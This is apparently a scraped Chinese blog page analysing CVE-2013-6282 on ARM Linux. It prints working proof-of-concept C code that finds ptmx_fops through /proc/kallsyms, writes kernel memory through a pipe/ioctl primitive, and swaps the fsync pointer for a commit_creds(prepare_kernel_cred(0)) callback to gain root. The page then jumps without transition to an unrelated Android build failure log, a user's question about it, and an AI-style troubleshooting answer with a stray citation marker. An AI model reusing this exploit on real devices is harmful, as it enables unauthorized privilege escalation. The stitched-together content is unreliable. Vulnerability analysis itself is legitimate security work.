Missing access checks in put_user/get_user kernel API (CVE-2013-6282)

本文详细分析了Linux内核ARM上get_user/put_user函数缺失访问权限检查导致的漏洞,阐述了漏洞成因及受影响系统版本,并提供了解决方案。文中还介绍了PoC分析过程,包括获取关键数据结构地址、替换fsync函数指针以实现权限提升的技术手段。

转:http://blog.youkuaiyun.com/hu3167343/article/details/34454381


/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1.漏洞成因

Linux kernel对ARM上的get_user/put_user缺少访问权限检查,本地攻击者可利用此漏洞读写内核内存,获取权限提升。


2.受影响的系统

Linux kernel 3.2.2
Linux kernel 3.2.13
Linux kernel 3.2.1


3.PoC分析

(1)从/proc/kallsyms文件中获得数据结构ptmx_fops的地址

  1. void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");  
  2. unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;  


  1. static void *kallsyms_get_symbol_address(const char *symbol_name)  
  2. {  
  3.     FILE *fp;  
  4.     char function[BUFSIZ];  
  5.     char symbol;  
  6.     void *address;  
  7.     int ret;  
  8.   
  9.     fp = fopen("/proc/kallsyms""r");  
  10.     if (!fp) {  
  11.         printf("Failed to open /proc/kallsyms due to %s.", strerror(errno));  
  12.         return 0;  
  13.     }  
  14.   
  15.     while(!feof(fp)) {  
  16.         ret = fscanf(fp, "%p %c %s", &address, &symbol, function);  
  17.         if (ret != 3) {  
  18.             break;  
  19.         }  
  20.   
  21.         if (!strcmp(function, symbol_name)) {  
  22.             fclose(fp);  
  23.             return address;  
  24.         }  
  25.     }  
  26.     fclose(fp);  
  27.   
  28.     return NULL;  
  29. }  


(2)找到fsync的地址,即ptmx_fops+0x38的地方
  1. static struct file_operations ptmx_fops;  

  1. struct file_operations {  
  2.     struct module *owner;  
  3.     loff_t (*llseek) (struct file *, loff_t, int);  
  4.     ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);  
  5.     ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);  
  6.     ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);  
  7.     ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);  
  8.     int (*iterate) (struct file *, struct dir_context *);  
  9.     unsigned int (*poll) (struct file *, struct poll_table_struct *);  
  10.     long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);  
  11.     long (*compat_ioctl) (struct file *, unsigned int, unsigned long);  
  12.     int (*mmap) (struct file *, struct vm_area_struct *);  
  13.     int (*open) (struct inode *, struct file *);  
  14.     int (*flush) (struct file *, fl_owner_t id);  
  15.     int (*release) (struct inode *, struct file *);  
  16.     int (*fsync) (struct file *, loff_t, loff_t, int datasync);  
  17.     int (*aio_fsync) (struct kiocb *, int datasync);  
  18.     <span style="color:#ff0000;"><strong>int (*fasync) (intstruct file *, int);</strong></span>  
  19.     int (*lock) (struct file *, intstruct file_lock *);  
  20.     ssize_t (*sendpage) (struct file *, struct page *, intsize_t, loff_t *, int);  
  21.     unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);  
  22.     int (*check_flags)(int);  
  23.     int (*flock) (struct file *, intstruct file_lock *);  
  24.     ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);  
  25.     ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);  
  26.     int (*setlease)(struct file *, longstruct file_lock **);  
  27.     long (*fallocate)(struct file *file, int mode, loff_t offset,  
  28.               loff_t len);  
  29.     int (*show_fdinfo)(struct seq_file *m, struct file *f);  
  30. };  

(3)替换fsync函数指针为自己的函数
  1. if(pipe_write_value_at_address( ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){  


ptmx_fsync_callback函数可以使本进程得到权限提升
  1. /*  obtain_root_privilege - userland callback function 
  2. We set ptmx_fops.fsync to the address of this function 
  3. Calling fysnc on the open /dev/ptmx file descriptor will result 
  4. in this function being called in the kernel context 
  5. We can the call the prepare/commit creds combo to escalate the 
  6. processes priveledge.    
  7. */  
  8. static void ptmx_fsync_callback(void)  
  9. {  
  10.     commit_creds(prepare_kernel_cred(0));  
  11. }  


pipe_write_value_at_address函数底层通过put_user函数改写内核地址内容
  1. static unsigned int pipe_write_value_at_address(unsigned long address, unsigned int value)  
  2. {  
  3.     char data[4];  
  4.     int pipefd[2];  
  5.     int i;  
  6.   
  7.     *(long *)&data = value;  
  8.   
  9.     if (pipe(pipefd) == -1) {  
  10.         perror("pipe");  
  11.         return 1;  
  12.     }  
  13.   
  14.     for (i = 0; i < (intsizeof(data) ; i++) {  
  15.         char buf[256];  
  16.         buf[0] = 0;  
  17.         if (data[i]) {  
  18.             if (write(pipefd[1], buf, data[i]) != data[i]) {  
  19.                 printf("error in write().\n");  
  20.                 break;  
  21.             }  
  22.         }  
  23.   
  24.         if (ioctl(pipefd[0], FIONREAD, (void *)(address + i)) == -1) {  
  25.             perror("ioctl");  
  26.             break;  
  27.         }  
  28.   
  29.         if (data[i]) {  
  30.             if (read(pipefd[0], buf, sizeof buf) != data[i]) {  
  31.                 printf("error in read().\n");  
  32.                 break;  
  33.             }  
  34.         }  
  35.     }  
  36.   
  37.     close(pipefd[0]);  
  38.     close(pipefd[1]);  
  39.   
  40.     return (i == sizeof (data));  
  41. }  

(4)手动调用fsync函数,触发自己的hook函数,得到权限提升
  1. int fd = open(PTMX_DEVICE, O_WRONLY);  
  2. if(!fd) return 1;   
  3. fsync(fd);  
  4. close(fd);  


4.修复

在put_user之前加了个地址判断




['vendor/qcom/proprietary/data/ipa_fws/elf_creator.py', '--gsi_fw', 'vendor/qcom/proprietary/data/ipa_fws/fw_mhi_ipa_v4.2.bin', '--gsi_fw_address', '0x05808000', '--gsi_fw_mem_size', '0x4000', '--hps', 'vendor/qcom/proprietary/data/ipa_fws/hps.bin', '--hps_addr', '0x0585E080', '--dps', 'vendor/qcom/proprietary/data/ipa_fws/dps.bin', '--dps_addr', '0x0585E000', '--outfile', 'out/ipa_tmp_gsi_ipa_fws/ipa_fws.elf'] IPA_FWS: Creating ipa ELF image OUT folders IPA_FWS: install unsigned ipa_fws.elf at out/target/product/bengal_515/ipa/unsigned IPA_FWS: install signed ipa_fws.elf at out/target/product/bengal_515/ipa/signed BIN out/ipa_tmp_gsi_ipa_fws/ipa_fws.mdt BIN out/ipa_tmp_gsi_ipa_fws/ipa_fws.b00 BIN out/ipa_tmp_gsi_ipa_fws/ipa_fws.b01 BIN out/ipa_tmp_gsi_ipa_fws/ipa_fws.b02 BIN out/ipa_tmp_gsi_ipa_fws/ipa_fws.b03 BIN out/ipa_tmp_gsi_ipa_fws/ipa_fws.b04 ######### PRIVATE_FW_FILE_NAME ipa_fws <INFO> 2025/06/17 13:28:39 mode: prod <INFO> 2025/06/17 13:28:39 task client version: 1.1.0 <INFO> 2025/06/17 13:28:39 uuid: 1750230474894106832 <INFO> 2025/06/17 13:28:41 sign: success ipa_fw sign succeed [ 4% 3909/82765] build out/target/product/bengal_515/gen/SHARED_LIBRARIES/com.qti.chiusecaseselector_intermediates/g_pipelines.cpp folder:out/target/product/bengal_515/gen/SHARED_LIBRARIES/com.qti.chiusecaseselector_intermediates/kamorta is created Generating xml for each lunch shared target: kamorta Time to run: get_segments - 0.332 TransitionModeFile vendor/qcom/proprietary/chi-cdk/oplus/oem/qcom/topology/mimas/usecase-components//transition_modes/transition_modes.xml ParseTransitionModeFile vendor/qcom/proprietary/chi-cdk/oplus/oem/qcom/topology/mimas/usecase-components//transition_modes/transition_modes.xml [ 4% 3910/82765] build out/target/product/bengal_515/abl.elf FAILED: out/target/product/bengal_515/abl.elf /bin/bash -c "(echo \"Generating signed appsbl using secimage v1 tool\" ) && (rm -rf out/target/product/bengal_515/signed ) && (rm -rf out/target/product/bengal_515/signed_ecc ) && (SECIMAGE_LOCAL_DIR=vendor/qcom/proprietary/sectools USES_SEC_POLICY_MULTIPLE_DEFAULT_SIGN=1 USES_SEC_POLICY_DEFAULT_SUBFOLDER_SIGN= USES_SEC_POLICY_INTEGRITY_CHECK=1 python vendor/qcom/proprietary/sectools/sectools_builder.py -i device/qcom/bengal-kernel/kernel-abl/abl-user/unsigned_abl.elf -t out/target/product/bengal_515/signed -g abl --soc_vers=0x9007 --config=vendor/qcom/proprietary/sectools/config/integration/secimagev3.xml --install_file_name=abl.elf --install_base_dir=out/target/product/bengal_515 > out/target/product/bengal_515/secimage.log 2>&1 ) && (echo \"Completed secimage v1 signed appsbl (ABL) (logs in out/target/product/bengal_515/secimage.log)\" ) && (python /work/secureboot_sign/osign_entry.py -p SM6225 -i out/target/product/bengal_515/abl.elf )" Generating signed appsbl using secimage v1 tool Completed secimage v1 signed appsbl (ABL) (logs in out/target/product/bengal_515/secimage.log) /bin/sh: ./sign_client_v5: No such file or directory [OPLUS SecureBoot Signature Framework] oplus secure boot sign start: ./sign_client_v5 --platform=sm6225 --android_version=r --input_path=/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515 --input_name=abl.elf --output_path=/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/oplus_signed ************ * platform * SM6225 * target * abl.elf * output * /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/oplus_signed/abl.elf * extopt * None ************ Traceback (most recent call last): File "/work/secureboot_sign/osign_entry.py", line 44, in <module> oplus_signer.sign() File "/work/secureboot_sign/osign.py", line 103, in sign raise Exception("oplus secure boot sign failed") Exception: oplus secure boot sign failed [ 4% 3911/82765] //system/tools/aidl:aidl-cpp clang++ main.cpp [linux_glibc] [ 4% 3912/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_IBinderRustNdkInteropTest [ 4% 3913/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_IBinderVendorDoubleLoadTest [ 4% 3914/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_aaudio-aidl [ 4% 3915/82765] Dist: out/dist/module-info.json [ 4% 3916/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_aidl-test-fixedsizearray [ 4% 3917/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_aidl-test-interface [ 4% 3918/82765] target Prebuilt: adb_debug.prop (out/target/product/bengal_515/obj/ETC/adb_debug.prop_intermediates/adb_debug.prop) [ 4% 3919/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_aidl-test-interface-permission [ 4% 3920/82765] Install out/target/product/bengal_515/vendor/firmware/a730_zap.mbn [ 4% 3921/82765] Install out/target/product/bengal_515/vendor/firmware/a730_zap.mdt [ 4% 3922/82765] host Prebuilt: aidl_hash_gen (out/host/linux-x86/obj/EXECUTABLES/aidl_hash_gen_intermediates/aidl_hash_gen) [ 4% 3923/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_aidl_test_loggable_interface [ 4% 3924/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_aidl_test_unstable_parcelable [ 4% 3925/82765] build qssi_violators QSSI: not enabled for bengal_515 target as /release/QSSI/QSSI_enforced_targets_list.txt was not found. [ 4% 3926/82765] AIDL metadata: out/soong/.intermediates/system/tools/aidl/build/aidl_metadata_json/metadata_android-automotive-test-stable-parcelable-aidl [ 4% 3927/82765] Install: out/target/product/bengal_515/vendor/firmware/ipa_fws.elf [ 4% 3928/82765] Copy: out/target/product/bengal_515/obj/SHARED_LIBRARIES/com.qti.chiusecaseselector_intermediates/g_pipelines.cpp [ 4% 3929/82765] build out/target/product/bengal_515/obj/DLKM_OBJ/build.timestamp ======================================================== Prepare to compile modules from ..//device/qcom/bengal-kernel + mkdir -p /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/msm-kernel/ + cp ..//device/qcom/bengal-kernel/.config ..//device/qcom/bengal-kernel/Module.symvers /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/msm-kernel/ + '[' -z '' -a '!' ..//device/qcom/bengal-kernel/host -ef /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/host ']' + rm -rf /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/host + '[' -e ..//device/qcom/bengal-kernel/host -a '!' -e /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/host ']' + cp -r ..//device/qcom/bengal-kernel/host /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform + cd ./msm-kernel + make O=/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/msm-kernel LLVM=1 DEPMOD=depmod DTC=/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/kernel_platform/build/kernel/build-tools/path/linux-x86/dtc JS_KERNEL_ROOT=/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/vendor/qcom/opensource/ecosw/aks_js_drivers CONFIG_AKS_ADC_JOYSTICK=m CONFIG_AKS_ADS1015=m MODNAME=aks_js_dlkm BOARD_PLATFORM=bengal ANDROID_BUILD_TOP=/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd olddefconfig make[1]: Entering directory '/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/msm-kernel' GEN Makefile HOSTCC scripts/basic/fixdep HOSTCC scripts/basic/cc-wrapper # # No change to .config # make[1]: Leaving directory '/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/msm-kernel' + set +x make: Entering directory '/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/kernel_platform/msm-kernel' make[1]: Entering directory '/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/msm-kernel' SYNC include/config/auto.conf.cmd GEN Makefile GEN Makefile HOSTCC scripts/dtc/flattree.o HOSTCC scripts/dtc/dtc.o HOSTCC scripts/dtc/fstree.o HOSTCC scripts/dtc/livetree.o HOSTCC scripts/dtc/treesource.o HOSTCC scripts/dtc/data.o HOSTCC scripts/dtc/srcpos.o HOSTCC scripts/dtc/util.o HOSTCC scripts/dtc/checks.o HOSTCC scripts/dtc/dtc-parser.tab.o HOSTCC scripts/dtc/dtc-lexer.lex.o HOSTCC scripts/dtc/libfdt/fdt.o HOSTCC scripts/dtc/libfdt/fdt_wip.o HOSTCC scripts/dtc/libfdt/fdt_ro.o HOSTCC scripts/dtc/libfdt/fdt_sw.o HOSTCC scripts/dtc/libfdt/fdt_rw.o HOSTCC scripts/dtc/libfdt/fdt_strerror.o HOSTCC scripts/dtc/libfdt/fdt_addresses.o HOSTCC scripts/dtc/libfdt/fdt_overlay.o HOSTCC scripts/dtc/libfdt/fdt_empty_tree.o HOSTCC scripts/dtc/fdtoverlay.o DESCEND bpf/resolve_btfids HOSTLD scripts/dtc/fdtoverlay HOSTLD scripts/dtc/dtc CALL /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/kernel_platform/msm-kernel/scripts/atomic/check-atomics.sh CALL /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/kernel_platform/msm-kernel/scripts/checksyscalls.sh make[1]: Leaving directory '/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/obj/DLKM_OBJ/kernel_platform/msm-kernel' make: Leaving directory '/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/kernel_platform/msm-kernel' ======================================================== Building external modules and installing them into staging directory [ 4% 3930/82765] APK certs list: out/target/product/bengal_515/obj/PACKAGING/apkcerts_intermediates/bengal_515-apkcerts-1750136691309.txt [ 4% 3931/82765] build out/target/product/bengal_515/product_packages.txt [ 4% 3932/82765] Package GPL sources: out/target/product/bengal_515/obj/PACKAGING/gpl_source_intermediates/gpl_source.tgz [ 4% 3933/82765] Install: out/target/product/bengal_515/odm/lib64/camera/camx_buildbins Generating default tuning project. ( 1/1 ) Build DefaultTuningProject ... Done Generating output folders. ( 1/1 ) Build OutputDirs ... Done Generating binaries. ( 1/26 ) Build com.qti.sensormodule.qtech_s5khm6_rear_a303 ... Done ( 2/26 ) Build copy of com.qti.sensormodule.qtech_s5khm6_rear_a303 ... Done ( 3/26 ) Build com.qti.sensormodule.zoe_hi846w_front ... Done ( 4/26 ) Build copy of com.qti.sensormodule.zoe_hi846w_front ... Done ( 5/26 ) Build com.qti.sensormodule.zoe_c2519_mono ... Done ( 6/26 ) Build copy of com.qti.sensormodule.zoe_c2519_mono ... Done ( 7/26 ) Build com.qti.sensormodule.zoe_sc201acs_mono ... Done ( 8/26 ) Build copy of com.qti.sensormodule.zoe_sc201acs_mono ... Done ( 9/26 ) Build com.qti.tuned.default ... Done ( 10/26 ) Build copy of com.qti.tuned.default ... Done ( 11/26 ) Build com.qti.tuned.zoe_hi846w_front ... Done ( 12/26 ) Build copy of com.qti.tuned.zoe_hi846w_front ... Done ( 13/26 ) Build com.qti.tuned.qtech_s5khm6_rear_a303 ... Done ( 14/26 ) Build copy of com.qti.tuned.qtech_s5khm6_rear_a303 ... Done ( 15/26 ) Build com.qti.tuned.zoe_c2519_mono ... Done ( 16/26 ) Build copy of com.qti.tuned.zoe_c2519_mono ... Done ( 17/26 ) Build com.qti.tuned.zoe_sc201acs_mono ... Done ( 18/26 ) Build copy of com.qti.tuned.zoe_sc201acs_mono ... Done ( 19/26 ) Build fdconfigvideo ... Done ( 20/26 ) Build copy of fdconfigvideo ... The original path is not existed: /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/odm/lib/camera/fdconfigvideo.bin Done ( 21/26 ) Build fdconfigvideolite ... Done ( 22/26 ) Build copy of fdconfigvideolite ... The original path is not existed: /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/odm/lib/camera/fdconfigvideolite.bin Done ( 23/26 ) Build fdconfigpreview ... Done ( 24/26 ) Build copy of fdconfigpreview ... The original path is not existed: /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/odm/lib/camera/fdconfigpreview.bin Done ( 25/26 ) Build fdconfigpreviewlite ... Done ( 26/26 ) Build copy of fdconfigpreviewlite ... The original path is not existed: /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/odm/lib/camera/fdconfigpreviewlite.bin Done ninja: output file missing after successful execution: out/target/product/bengal_515/odm/lib64/camera/camx_buildbins ninja: build stopped: subcommand failed. 13:29:16 ninja failed with: exit status 1 #### failed to build some targets (05:50 (mm:ss)) #### real 5m49.860s user 36m44.065s sys 5m35.720s ============================================ [build.sh]: FAILED: make dist -j24 ENABLE_AB=true SYSTEMEXT_SEPARATE_PARTITION_ENABLE=true BOARD_DYNAMIC_PARTITION_ENABLE=true ENABLE_VIRTUAL_AB=true SHIPPING_API_LEVEL=29 SKIP_ABI_CHECKS=true ============================================ SCM.IT: make ap new ... failed, result is 1. SCM.IT: mk_android runtime:00:24:26 SCM.IT: ####### mk_android ####### END SCM.IT: mk_android failed, result is 1. SCM.IT: makeOPPO runtime:02:28:58 SCM.IT: ####### makeOPPO ####### END SCM.IT: makeOPPO failed, result is 1. 这是我的编译报错日志 怎么解决这个编译报错
最新发布
06-19
### 错误分析与解决方案 #### 1. 错误 './sign_client_v5: No such file or directory' 此错误表明在执行签名工具 `sign_client_v5` 时,系统无法找到该文件。可能的原因包括: - 文件确实不存在。 - 文件路径配置错误。 - 文件权限不足,导致无法访问。 解决方法如下: - 确认 `sign_client_v5` 是否存在于指定路径下。如果不存在,则需要重新下载或构建该工具[^1]。 - 检查环境变量或脚本中是否正确配置了 `sign_client_v5` 的路径。例如,确保路径 `/work/secureboot_sign/` 下存在该文件。 - 验证文件权限是否允许执行。可以使用以下命令检查并修改权限: ```bash ls -l /work/secureboot_sign/sign_client_v5 chmod +x /work/secureboot_sign/sign_client_v5 ``` #### 2. 错误 'oplus secure boot sign failed' 此错误表明 Oplus 安全启动签名过程失败。根据日志信息,问题可能出现在以下几个方面: - 签名工具 `osign_entry.py` 或其依赖项未正确运行。 - 输入文件路径 `/work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/abl.elf` 无效或文件损坏。 - 签名过程中缺少必要的配置文件或参数。 解决方法如下: - 检查 `osign_entry.py` 脚本及其依赖项是否完整且可执行。可以通过以下命令验证 Python 脚本的语法和依赖项: ```bash python /work/secureboot_sign/osign_entry.py --help ``` - 验证输入文件是否存在且未损坏。可以使用以下命令检查文件完整性: ```bash file /work/jenkins_dailybuild_slave/workspace/Zoe_23699_15.0_cs_master_dailybuild/source/vnd/out/target/product/bengal_515/abl.elf ``` - 确保签名过程中所需的配置文件(如 `secimagev3.xml`)存在且内容正确。可以通过以下命令检查配置文件路径: ```bash ls -l vendor/qcom/proprietary/sectools/config/integration/secimagev3.xml ``` #### 3. 其他潜在问题 - 日志中提到 `ninja: output file missing after successful execution`,这表明某些输出文件未能生成。可能的原因是依赖关系未正确解析或目标文件被意外删除。可以通过以下命令重新生成缺失文件: ```bash ninja -t restat ``` - 如果问题仍未解决,可以尝试清理构建目录并重新编译: ```bash rm -rf out/ make clean make dist ``` ### 示例代码 以下是一个简单的 Python 脚本,用于验证签名工具的可用性: ```python import os import subprocess def check_tool_availability(tool_path): if not os.path.exists(tool_path): print(f"Error: {tool_path} does not exist.") return False try: result = subprocess.run([tool_path, "--help"], capture_output=True, text=True) if result.returncode != 0: print(f"Error: {tool_path} returned non-zero exit code.") return False print(f"{tool_path} is available and functional.") return True except Exception as e: print(f"Error: Failed to execute {tool_path}. Details: {e}") return False # Example usage tool_path = "/work/secureboot_sign/sign_client_v5" check_tool_availability(tool_path) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值